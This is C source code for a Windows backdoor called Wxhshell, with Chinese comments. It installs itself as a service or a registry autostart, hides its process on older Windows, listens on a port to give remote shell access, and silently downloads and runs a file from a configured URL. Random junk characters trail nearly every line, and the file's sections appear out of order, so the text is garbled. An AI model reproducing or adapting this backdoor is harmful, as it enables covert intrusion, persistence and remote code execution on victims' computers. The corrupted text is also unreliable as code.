PROCNTQSIP NtQueryInformationProcess; az$FnVNn=
v+XJ*N[W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %v|B *
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }tz7b#
[WmM6UEVS
HANDLE hProcess; ueudRb
PROCESS_BASIC_INFORMATION pbi; G[=c
Ss,
&8H'eAA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b=vkiO`2
if(NULL == hInst ) return 0; t_^4`dW`
C]6O!Pb0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )e{aN+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &ncvGDGi
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XSRsGTCC=
AH^/V}9H
if (!NtQueryInformationProcess) return 0; I,tud!p`
{FkF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Psf#c:*_)
if(!hProcess) return 0; kmW4:EA%
Y4-t7UlS;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'DR!9De
-f .,tM=
CloseHandle(hProcess); c)J%`i$
;uJMG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7! Nsm
if(hProcess==NULL) return 0; It(_v
#"!<W0
HMODULE hMod; TH;hO).u
char procName[255]; TOt dUO
unsigned long cbNeeded; &
21%zPm
By|4m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KO [Yi
]gOy(\B
CloseHandle(hProcess); COlqcq'qAu
*@5 @,=d
if(strstr(procName,"services")) return 1; // 以服务启动 9;{CIMg&
as|<}:V
return 0; // 注册表启动 qX%_uOw:%
} 1zv'.uu.,
:;}P*T*PU
// 主模块 %J(:ADu]
int StartWxhshell(LPSTR lpCmdLine) `?]k{ l1R
{ 9{l}bu/u
SOCKET wsl; dPlV>IM$z
BOOL val=TRUE; T)/eeZ$
int port=0; 0J9x9j`&j
struct sockaddr_in door; o/E >f_k[
jcOcWB|
if(wscfg.ws_autoins) Install(); 1}x%%RD_
HJ"GnZp<
port=atoi(lpCmdLine); uRvP hkqm
+(Ae4{z"1+
if(port<=0) port=wscfg.ws_port; /v{I
)nkY_'BV
WSADATA data; L *wYx|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y(#e}z:
Et$2Y-L.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^8WRqQdx
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t.<i:#rj>l
door.sin_family = AF_INET; |Cv!,]9:r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^#pEPVkY
door.sin_port = htons(port); teRTu
/^ts9:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >MZ/|`[M
closesocket(wsl); r!v\"6:OM
return 1; <'u'#E@"sl
} X'ag)|5ot
!$JT e
if(listen(wsl,2) == INVALID_SOCKET) { }jXfb@`K
closesocket(wsl); O-wzz
return 1; -7ep{p-
} sJZiI}Xc
Wxhshell(wsl); >4TO=i
WSACleanup(); i-1op> Y
t@(HF-4~=
return 0; %{W6PrY{
1MFbQs^
} -).C
9 hl_|r~%*
// 以NT服务方式启动 =X}J6|>X
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .-zom~N-?
{ &oNAv-m^GD
DWORD status = 0; Rq -ZL{LR7
DWORD specificError = 0xfffffff; -"x$ZnHU
]Wup/o
serviceStatus.dwServiceType = SERVICE_WIN32; W/N7vAx X
serviceStatus.dwCurrentState = SERVICE_START_PENDING; z{q`G wW
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ).O)p9
serviceStatus.dwWin32ExitCode = 0; KNl$3nX
serviceStatus.dwServiceSpecificExitCode = 0; inL(X;@yo
serviceStatus.dwCheckPoint = 0; "]*tLL:`
serviceStatus.dwWaitHint = 0; 0-gAyiKx?
@7}W=HB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >P(.:_^p
if (hServiceStatusHandle==0) return; Uo49*Mr
?,/ }`3Vw
status = GetLastError(); i8p6Xht
if (status!=NO_ERROR) " bG2:
{ PT
~D",k
serviceStatus.dwCurrentState = SERVICE_STOPPED; G@0&8
serviceStatus.dwCheckPoint = 0; V`5O{Gg
serviceStatus.dwWaitHint = 0; +@UV?"d
serviceStatus.dwWin32ExitCode = status; (FV >m
serviceStatus.dwServiceSpecificExitCode = specificError; 7zMr:JmV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %T[]zJ(
return; GgU/!@
} g(g& TO
[g,}gyeS(
serviceStatus.dwCurrentState = SERVICE_RUNNING; \V:^h[ad
serviceStatus.dwCheckPoint = 0; >_}
I.\X
serviceStatus.dwWaitHint = 0; }H2R3icE
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qs6aB0ln
} 3|7QUld
%<5'=t'|-U
// 处理NT服务事件,比如:启动、停止 |Tw~@kT@
VOID WINAPI NTServiceHandler(DWORD fdwControl) AA_%<zK
{ 7)m9"InDI
switch(fdwControl) b>k y
{ :UdF
case SERVICE_CONTROL_STOP: }Z>)DN=+
serviceStatus.dwWin32ExitCode = 0; `oJ [u:b
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2%1hdA<
serviceStatus.dwCheckPoint = 0; pAEx#ck
serviceStatus.dwWaitHint = 0; ~[: 2I
{ t^HRgY'NjM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s2?&!
} L];b<*d
return; Ac6=(B
case SERVICE_CONTROL_PAUSE: %y@AA>x!
serviceStatus.dwCurrentState = SERVICE_PAUSED; ysN3
break; 9uY'E'm*
case SERVICE_CONTROL_CONTINUE: <3iMRe
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0(Ij%Wi,
break; a.'*G6~Qgw
case SERVICE_CONTROL_INTERROGATE: ^.tg 7%dJ
break; b6[j%(
}; qR.Q,(b|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N!3 2 wJ
} ^8tEach
C~[,z.FvO
// 标准应用程序主函数
lr?;*f^3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SuznN
L=/$
{ Cw%{G'O
c,22*.V/
// 获取操作系统版本 zi:BF60]=
OsIsNt=GetOsVer(); ax2B ]L2
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]Dzlp7Y}
-di o5a
// 从命令行安装 mmsPLv6
if(strpbrk(lpCmdLine,"iI")) Install(); wBzC5T%,
d _
e WcI
// 下载执行文件 iE{&*.q_}>
if(wscfg.ws_downexe) { ,Q,^3*HX9}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q?T]MUY(L
WinExec(wscfg.ws_filenam,SW_HIDE); 598i^z{~0%
} Al'3?
ZuIefMiG~+
if(!OsIsNt) { uEYtE7
// 如果时win9x,隐藏进程并且设置为注册表启动 tgaO!{9I?
HideProc(); u>$t'
StartWxhshell(lpCmdLine); X8|EHb<
} %SI'BJ
else `6YN3XS
if(StartFromService()) K^$=dLp
// 以服务方式启动 ':W[ A
StartServiceCtrlDispatcher(DispatchTable); HDKbF/
else ] - .aL
// 普通方式启动 b[yiq$K/
StartWxhshell(lpCmdLine); +#By*;BJ
8Y3I0S
return 0; y]imZ4{/
} +RXoi2"-q@
:EH=_"
/bEAK-
"j-CZ\]U|
=========================================== k8Xm n6X
1cGmg1U;
:LTN!jj
nm+s{
-hV*EPQ/
]?)TdJ`
" <Qq*p
C>~TI,5a3
#include <stdio.h> /> Nt[o[r
#include <string.h> s(^mZ
-i
#include <windows.h> R4@6G&2d>
#include <winsock2.h> ^(<f/C)i
#include <winsvc.h> @KA4N`
#include <urlmon.h> V:27)]q
S$k&vc(0
#pragma comment (lib, "Ws2_32.lib") +{>=^9%X
#pragma comment (lib, "urlmon.lib") K>9 ()XT)
fatf*}eln
#define MAX_USER 100 // 最大客户端连接数 >MK98(F
#define BUF_SOCK 200 // sock buffer {U1m.30n
#define KEY_BUFF 255 // 输入 buffer *J{+1Ev~$p
H1T.(M/"
#define REBOOT 0 // 重启 6Iw\c
#define SHUTDOWN 1 // 关机 TKjFp%
9akH
#define DEF_PORT 5000 // 监听端口 |M_UQQAB|
8D].MI^
#define REG_LEN 16 // 注册表键长度 bi:8(Q$w:`
#define SVC_LEN 80 // NT服务名长度 +)?J#g
fQ98(+6
// 从dll定义API Th[dW<